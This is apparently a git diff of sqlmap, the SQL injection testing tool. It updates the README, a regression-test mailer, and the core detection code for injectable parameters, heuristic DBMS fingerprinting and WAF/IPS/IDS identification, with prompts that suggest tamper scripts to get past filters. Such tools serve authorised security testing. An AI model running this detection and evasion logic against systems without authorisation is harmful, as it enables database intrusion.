SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
|
SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
|
||||||
VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
|
VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
|
||||||
@@ -107,7 +112,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the
|
|||||||
|
|
||||||
::
|
::
|
||||||
|
|
||||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap works out of the box with
|
sqlmap works out of the box with
|
||||||
`Python <http://www.python.org/download/>`__ version **2.6.x** and
|
`Python <http://www.python.org/download/>`__ version **2.6.x** and
|
||||||
@@ -132,7 +137,7 @@ You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
|||||||
get an overview of sqlmap capabilities, list of supported features and
|
get an overview of sqlmap capabilities, list of supported features and
|
||||||
description of all options and switches, along with examples, you are
|
description of all options and switches, along with examples, you are
|
||||||
advised to consult the `user's
|
advised to consult the `user's
|
||||||
manual <https://github.com/sqlmapproject/sqlmap/wiki>`__.
|
manual <https://github.com/sqlmapproject/sqlmap/wiki/Usage>`__.
|
||||||
|
|
||||||
Links
|
Links
|
||||||
-----
|
-----
|
||||||
@@ -147,12 +152,6 @@ Links
|
|||||||
- User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
- User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
- Frequently Asked Questions (FAQ):
|
- Frequently Asked Questions (FAQ):
|
||||||
https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
- Mailing list subscription:
|
|
||||||
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
- Mailing list RSS feed:
|
|
||||||
http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
- Mailing list archive:
|
|
||||||
http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
- Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
- Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
- Demos: http://www.youtube.com/user/inquisb/videos
|
- Demos: http://www.youtube.com/user/inquisb/videos
|
||||||
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ def prepare_email(content):
|
|||||||
msg = MIMEMultipart()
|
msg = MIMEMultipart()
|
||||||
msg["Subject"] = SUBJECT
|
msg["Subject"] = SUBJECT
|
||||||
msg["From"] = FROM
|
msg["From"] = FROM
|
||||||
msg["To"] = TO if isinstance(TO, basestring) else ",".join(TO)
|
msg["To"] = TO if isinstance(TO, basestring) else ','.join(TO)
|
||||||
|
|
||||||
msg.attach(MIMEText(content))
|
msg.attach(MIMEText(content))
|
||||||
|
|
||||||
@@ -83,7 +83,7 @@ def main():
|
|||||||
if stderr:
|
if stderr:
|
||||||
failure_email("Execution of regression test failed with error:\n\n%s" % stderr)
|
failure_email("Execution of regression test failed with error:\n\n%s" % stderr)
|
||||||
|
|
||||||
failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M)
|
failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
|
||||||
|
|
||||||
for failed_test in failed_tests:
|
for failed_test in failed_tests:
|
||||||
title = failed_test[0]
|
title = failed_test[0]
|
||||||
|
|||||||
@@ -16,8 +16,8 @@ from lib.core.enums import CONTENT_TYPE
|
|||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapUnsupportedDBMSException
|
from lib.core.exception import SqlmapUnsupportedDBMSException
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
from lib.techniques.brute.use import columnExists
|
from lib.utils.brute import columnExists
|
||||||
from lib.techniques.brute.use import tableExists
|
from lib.utils.brute import tableExists
|
||||||
|
|
||||||
def action():
|
def action():
|
||||||
"""
|
"""
|
||||||
|
|||||||
+120
-52
@@ -7,10 +7,12 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
import copy
|
import copy
|
||||||
import httplib
|
import httplib
|
||||||
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import tempfile
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from extra.beep.beep import beep
|
from extra.beep.beep import beep
|
||||||
@@ -20,6 +22,7 @@ from lib.core.common import extractRegexResult
|
|||||||
from lib.core.common import extractTextTagContent
|
from lib.core.common import extractTextTagContent
|
||||||
from lib.core.common import findDynamicContent
|
from lib.core.common import findDynamicContent
|
||||||
from lib.core.common import Format
|
from lib.core.common import Format
|
||||||
|
from lib.core.common import getFilteredPageContent
|
||||||
from lib.core.common import getLastRequestHTTPError
|
from lib.core.common import getLastRequestHTTPError
|
||||||
from lib.core.common import getPublicTypeMembers
|
from lib.core.common import getPublicTypeMembers
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
@@ -29,6 +32,7 @@ from lib.core.common import hashDBRetrieve
|
|||||||
from lib.core.common import hashDBWrite
|
from lib.core.common import hashDBWrite
|
||||||
from lib.core.common import intersect
|
from lib.core.common import intersect
|
||||||
from lib.core.common import listToStrValue
|
from lib.core.common import listToStrValue
|
||||||
|
from lib.core.common import openFile
|
||||||
from lib.core.common import parseFilePaths
|
from lib.core.common import parseFilePaths
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
from lib.core.common import pushValue
|
from lib.core.common import pushValue
|
||||||
@@ -54,6 +58,7 @@ from lib.core.enums import HASHDB_KEYS
|
|||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
from lib.core.enums import NOTE
|
from lib.core.enums import NOTE
|
||||||
from lib.core.enums import NULLCONNECTION
|
from lib.core.enums import NULLCONNECTION
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
@@ -62,7 +67,11 @@ from lib.core.enums import REDIRECTION
|
|||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapSilentQuitException
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
|
from lib.core.exception import SqlmapSkipTargetException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
|
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
|
||||||
|
from lib.core.settings import CHECK_INTERNET_ADDRESS
|
||||||
|
from lib.core.settings import CHECK_INTERNET_VALUE
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
||||||
from lib.core.settings import FI_ERROR_REGEX
|
from lib.core.settings import FI_ERROR_REGEX
|
||||||
@@ -124,7 +133,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# then attempt to identify with a simple DBMS specific boolean-based
|
# then attempt to identify with a simple DBMS specific boolean-based
|
||||||
# test what the DBMS may be
|
# test what the DBMS may be
|
||||||
if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
|
if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
|
||||||
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None:
|
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
|
||||||
kb.heuristicDbms = heuristicCheckDbms(injection)
|
kb.heuristicDbms = heuristicCheckDbms(injection)
|
||||||
|
|
||||||
# If the DBMS has already been fingerprinted (via DBMS-specific
|
# If the DBMS has already been fingerprinted (via DBMS-specific
|
||||||
@@ -135,7 +144,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||||
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
||||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||||
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else []
|
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
||||||
|
|
||||||
# If the DBMS has been fingerprinted (via DBMS-specific error
|
# If the DBMS has been fingerprinted (via DBMS-specific error
|
||||||
# message, via simple heuristic check or via DBMS-specific
|
# message, via simple heuristic check or via DBMS-specific
|
||||||
@@ -150,7 +159,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
msg += " and " if conf.level < 5 and conf.risk < 3 else ""
|
msg += " and " if conf.level < 5 and conf.risk < 3 else ""
|
||||||
msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
|
msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
|
||||||
msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]"
|
msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]"
|
||||||
kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else []
|
kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
||||||
|
|
||||||
title = test.title
|
title = test.title
|
||||||
kb.testType = stype = test.stype
|
kb.testType = stype = test.stype
|
||||||
@@ -158,6 +167,13 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
unionExtended = False
|
unionExtended = False
|
||||||
trueCode, falseCode = None, None
|
trueCode, falseCode = None, None
|
||||||
|
|
||||||
|
if conf.httpCollector is not None:
|
||||||
|
conf.httpCollector.setExtendedArguments({
|
||||||
|
"_title": title,
|
||||||
|
"_place": place,
|
||||||
|
"_parameter": parameter,
|
||||||
|
})
|
||||||
|
|
||||||
if stype == PAYLOAD.TECHNIQUE.UNION:
|
if stype == PAYLOAD.TECHNIQUE.UNION:
|
||||||
configUnion(test.request.char)
|
configUnion(test.request.char)
|
||||||
|
|
||||||
@@ -241,17 +257,23 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if payloadDbms is not None:
|
if payloadDbms is not None:
|
||||||
# Skip DBMS-specific test if it does not match the user's
|
# Skip DBMS-specific test if it does not match the user's
|
||||||
# provided DBMS
|
# provided DBMS
|
||||||
if conf.dbms is not None and not intersect(payloadDbms, conf.dbms, True):
|
if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
|
||||||
debugMsg = "skipping test '%s' because " % title
|
debugMsg = "skipping test '%s' because " % title
|
||||||
debugMsg += "the provided DBMS is %s" % conf.dbms
|
debugMsg += "its declared DBMS is different than provided"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
|
if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
|
||||||
|
debugMsg = "skipping test '%s' because " % title
|
||||||
|
debugMsg += "its declared DBMS is different than provided"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Skip DBMS-specific test if it does not match the
|
# Skip DBMS-specific test if it does not match the
|
||||||
# previously identified DBMS (via DBMS-specific payload)
|
# previously identified DBMS (via DBMS-specific payload)
|
||||||
if injection.dbms is not None and not intersect(payloadDbms, injection.dbms, True):
|
if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
|
||||||
debugMsg = "skipping test '%s' because the identified " % title
|
debugMsg = "skipping test '%s' because " % title
|
||||||
debugMsg += "back-end DBMS is %s" % injection.dbms
|
debugMsg += "its declared DBMS is different than identified"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@@ -478,6 +500,26 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
|
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
|
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||||
|
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
|
||||||
|
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
|
||||||
|
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
|
||||||
|
|
||||||
|
if originalSet == trueSet != falseSet:
|
||||||
|
candidates = trueSet - falseSet
|
||||||
|
|
||||||
|
if candidates:
|
||||||
|
candidates = sorted(candidates, key=lambda _: len(_))
|
||||||
|
for candidate in candidates:
|
||||||
|
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||||
|
conf.string = candidate
|
||||||
|
injectable = True
|
||||||
|
|
||||||
|
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
if injectable:
|
if injectable:
|
||||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||||
@@ -528,14 +570,11 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# Perform the test's request and grep the response
|
# Perform the test's request and grep the response
|
||||||
# body for the test's <grep> regular expression
|
# body for the test's <grep> regular expression
|
||||||
try:
|
try:
|
||||||
page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
|
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
|
||||||
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
|
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
|
||||||
or extractRegexResult(check, listToStrValue( \
|
or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
|
||||||
[headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \
|
or extractRegexResult(check, listToStrValue([headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] if headers else None), re.DOTALL | re.IGNORECASE) \
|
||||||
if headers else None), re.DOTALL | re.IGNORECASE) \
|
or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
||||||
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
|
|
||||||
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
|
|
||||||
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
result = output == "1"
|
result = output == "1"
|
||||||
@@ -585,7 +624,9 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
|
|
||||||
configUnion(test.request.char, test.request.columns)
|
configUnion(test.request.char, test.request.columns)
|
||||||
|
|
||||||
if not Backend.getIdentifiedDbms():
|
if len(kb.dbmsFilter or []) == 1:
|
||||||
|
Backend.forceDbms(kb.dbmsFilter[0])
|
||||||
|
elif not Backend.getIdentifiedDbms():
|
||||||
if kb.heuristicDbms is None:
|
if kb.heuristicDbms is None:
|
||||||
warnMsg = "using unescaped version of the test "
|
warnMsg = "using unescaped version of the test "
|
||||||
warnMsg += "because of zero knowledge of the "
|
warnMsg += "because of zero knowledge of the "
|
||||||
@@ -609,7 +650,8 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
msg += "extended UNION tests if there is not "
|
msg += "extended UNION tests if there is not "
|
||||||
msg += "at least one other (potential) "
|
msg += "at least one other (potential) "
|
||||||
msg += "technique found. Do you want to skip? [Y/n] "
|
msg += "technique found. Do you want to skip? [Y/n] "
|
||||||
kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N'
|
|
||||||
|
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
|
||||||
if kb.futileUnion is False:
|
if kb.futileUnion is False:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@@ -715,26 +757,31 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
warnMsg = "user aborted during detection phase"
|
warnMsg = "user aborted during detection phase"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
|
if conf.multipleTargets:
|
||||||
choice = readInput(msg, default="S", checkBatch=False)
|
msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
|
||||||
|
choice = readInput(msg, default='T', checkBatch=False).upper()
|
||||||
|
else:
|
||||||
|
msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
|
||||||
|
choice = readInput(msg, default='S', checkBatch=False).upper()
|
||||||
|
|
||||||
if choice[0] in ("s", "S"):
|
if choice == 'X':
|
||||||
pass
|
if conf.multipleTargets:
|
||||||
elif choice[0] in ("c", "C"):
|
raise SqlmapSkipTargetException
|
||||||
|
elif choice == 'C':
|
||||||
choice = None
|
choice = None
|
||||||
while not ((choice or "").isdigit() and 0 <= int(choice) <= 6):
|
while not ((choice or "").isdigit() and 0 <= int(choice) <= 6):
|
||||||
if choice:
|
if choice:
|
||||||
logger.warn("invalid value")
|
logger.warn("invalid value")
|
||||||
msg = "enter new verbosity level: [0-6] "
|
msg = "enter new verbosity level: [0-6] "
|
||||||
choice = readInput(msg, default=str(conf.verbose), checkBatch=False).strip()
|
choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
|
||||||
conf.verbose = int(choice)
|
conf.verbose = int(choice)
|
||||||
setVerbosity()
|
setVerbosity()
|
||||||
tests.insert(0, test)
|
tests.insert(0, test)
|
||||||
elif choice[0] in ("n", "N"):
|
elif choice == 'N':
|
||||||
return None
|
return None
|
||||||
elif choice[0] in ("e", "E"):
|
elif choice == 'E':
|
||||||
kb.endDetection = True
|
kb.endDetection = True
|
||||||
elif choice[0] in ("q", "Q"):
|
elif choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
@@ -797,6 +844,8 @@ def heuristicCheckDbms(injection):
|
|||||||
infoMsg += "could be '%s' " % retVal
|
infoMsg += "could be '%s' " % retVal
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
kb.heuristicExtendedDbms = retVal
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def checkFalsePositives(injection):
|
def checkFalsePositives(injection):
|
||||||
@@ -939,7 +988,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
|
|
||||||
payload = "%s%s%s" % (prefix, randStr, suffix)
|
payload = "%s%s%s" % (prefix, randStr, suffix)
|
||||||
payload = agent.payload(place, parameter, newValue=payload)
|
payload = agent.payload(place, parameter, newValue=payload)
|
||||||
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
|
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
|
||||||
|
|
||||||
kb.heuristicPage = page
|
kb.heuristicPage = page
|
||||||
kb.heuristicMode = False
|
kb.heuristicMode = False
|
||||||
@@ -977,7 +1026,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
|
|
||||||
if kb.ignoreCasted is None:
|
if kb.ignoreCasted is None:
|
||||||
message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]")
|
message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]")
|
||||||
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N'
|
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
|
||||||
|
|
||||||
elif result:
|
elif result:
|
||||||
infoMsg += "be injectable"
|
infoMsg += "be injectable"
|
||||||
@@ -995,7 +1044,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
|
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
|
||||||
payload = "%s%s%s" % (prefix, "'%s" % value, suffix)
|
payload = "%s%s%s" % (prefix, "'%s" % value, suffix)
|
||||||
payload = agent.payload(place, parameter, newValue=payload)
|
payload = agent.payload(place, parameter, newValue=payload)
|
||||||
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
|
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
|
||||||
|
|
||||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||||
|
|
||||||
@@ -1104,7 +1153,7 @@ def checkDynamicContent(firstPage, secondPage):
|
|||||||
warnMsg += ". sqlmap is going to retry the request"
|
warnMsg += ". sqlmap is going to retry the request"
|
||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
|
|
||||||
secondPage, _ = Request.queryPage(content=True)
|
secondPage, _, _ = Request.queryPage(content=True)
|
||||||
findDynamicContent(firstPage, secondPage)
|
findDynamicContent(firstPage, secondPage)
|
||||||
|
|
||||||
def checkStability():
|
def checkStability():
|
||||||
@@ -1127,7 +1176,7 @@ def checkStability():
|
|||||||
delay = max(0, min(1, delay))
|
delay = max(0, min(1, delay))
|
||||||
time.sleep(delay)
|
time.sleep(delay)
|
||||||
|
|
||||||
secondPage, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
|
secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
|
||||||
|
|
||||||
if kb.redirectChoice:
|
if kb.redirectChoice:
|
||||||
return None
|
return None
|
||||||
@@ -1155,19 +1204,19 @@ def checkStability():
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
|
message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
|
||||||
test = readInput(message, default="C")
|
choice = readInput(message, default='C').upper()
|
||||||
|
|
||||||
if test and test[0] in ("q", "Q"):
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
|
|
||||||
elif test and test[0] in ("s", "S"):
|
elif choice == 'S':
|
||||||
showStaticWords(firstPage, secondPage)
|
showStaticWords(firstPage, secondPage)
|
||||||
|
|
||||||
message = "please enter value for parameter 'string': "
|
message = "please enter value for parameter 'string': "
|
||||||
test = readInput(message)
|
string = readInput(message)
|
||||||
|
|
||||||
if test:
|
if string:
|
||||||
conf.string = test
|
conf.string = string
|
||||||
|
|
||||||
if kb.nullConnection:
|
if kb.nullConnection:
|
||||||
debugMsg = "turning off NULL connection "
|
debugMsg = "turning off NULL connection "
|
||||||
@@ -1179,12 +1228,12 @@ def checkStability():
|
|||||||
errMsg = "Empty value supplied"
|
errMsg = "Empty value supplied"
|
||||||
raise SqlmapNoneDataException(errMsg)
|
raise SqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
elif test and test[0] in ("r", "R"):
|
elif choice == 'R':
|
||||||
message = "please enter value for parameter 'regex': "
|
message = "please enter value for parameter 'regex': "
|
||||||
test = readInput(message)
|
regex = readInput(message)
|
||||||
|
|
||||||
if test:
|
if regex:
|
||||||
conf.regex = test
|
conf.regex = regex
|
||||||
|
|
||||||
if kb.nullConnection:
|
if kb.nullConnection:
|
||||||
debugMsg = "turning off NULL connection "
|
debugMsg = "turning off NULL connection "
|
||||||
@@ -1209,7 +1258,7 @@ def checkString():
|
|||||||
infoMsg += "target URL page content"
|
infoMsg += "target URL page content"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
page, headers = Request.queryPage(content=True)
|
page, headers, _ = Request.queryPage(content=True)
|
||||||
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
|
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
|
||||||
|
|
||||||
if conf.string not in rawResponse:
|
if conf.string not in rawResponse:
|
||||||
@@ -1228,7 +1277,7 @@ def checkRegexp():
|
|||||||
infoMsg += "the target URL page content"
|
infoMsg += "the target URL page content"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
page, headers = Request.queryPage(content=True)
|
page, headers, _ = Request.queryPage(content=True)
|
||||||
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
|
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
|
||||||
|
|
||||||
if not re.search(conf.regexp, rawResponse, re.I | re.M):
|
if not re.search(conf.regexp, rawResponse, re.I | re.M):
|
||||||
@@ -1256,6 +1305,9 @@ def checkWaf():
|
|||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
return _
|
return _
|
||||||
|
|
||||||
|
if not kb.originalPage:
|
||||||
|
return None
|
||||||
|
|
||||||
infoMsg = "checking if the target is protected by "
|
infoMsg = "checking if the target is protected by "
|
||||||
infoMsg += "some kind of WAF/IPS/IDS"
|
infoMsg += "some kind of WAF/IPS/IDS"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -1285,9 +1337,8 @@ def checkWaf():
|
|||||||
if not conf.identifyWaf:
|
if not conf.identifyWaf:
|
||||||
message = "do you want sqlmap to try to detect backend "
|
message = "do you want sqlmap to try to detect backend "
|
||||||
message += "WAF/IPS/IDS? [y/N] "
|
message += "WAF/IPS/IDS? [y/N] "
|
||||||
output = readInput(message, default="N")
|
|
||||||
|
|
||||||
if output and output[0] in ("Y", "y"):
|
if readInput(message, default='N', boolean=True):
|
||||||
conf.identifyWaf = True
|
conf.identifyWaf = True
|
||||||
|
|
||||||
if conf.timeout == defaults.timeout:
|
if conf.timeout == defaults.timeout:
|
||||||
@@ -1348,15 +1399,27 @@ def identifyWaf():
|
|||||||
retVal.append(product)
|
retVal.append(product)
|
||||||
|
|
||||||
if retVal:
|
if retVal:
|
||||||
|
if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
|
||||||
|
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
|
||||||
|
os.close(handle)
|
||||||
|
with openFile(filename, "w+b") as f:
|
||||||
|
f.write(kb.wafSpecificResponse)
|
||||||
|
|
||||||
|
message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename
|
||||||
|
message += "If you know the details on used protection please "
|
||||||
|
message += "report it along with specific response "
|
||||||
|
message += "to '[email protected]'"
|
||||||
|
logger.warn(message)
|
||||||
|
|
||||||
message = "are you sure that you want to "
|
message = "are you sure that you want to "
|
||||||
message += "continue with further target testing? [y/N] "
|
message += "continue with further target testing? [y/N] "
|
||||||
output = readInput(message, default="N")
|
choice = readInput(message, default='N', boolean=True)
|
||||||
|
|
||||||
if not conf.tamper:
|
if not conf.tamper:
|
||||||
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
|
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
if output and output[0] not in ("Y", "y"):
|
if not choice:
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
else:
|
else:
|
||||||
warnMsg = "WAF/IPS/IDS product hasn't been identified"
|
warnMsg = "WAF/IPS/IDS product hasn't been identified"
|
||||||
@@ -1436,7 +1499,7 @@ def checkConnection(suppressOutput=False):
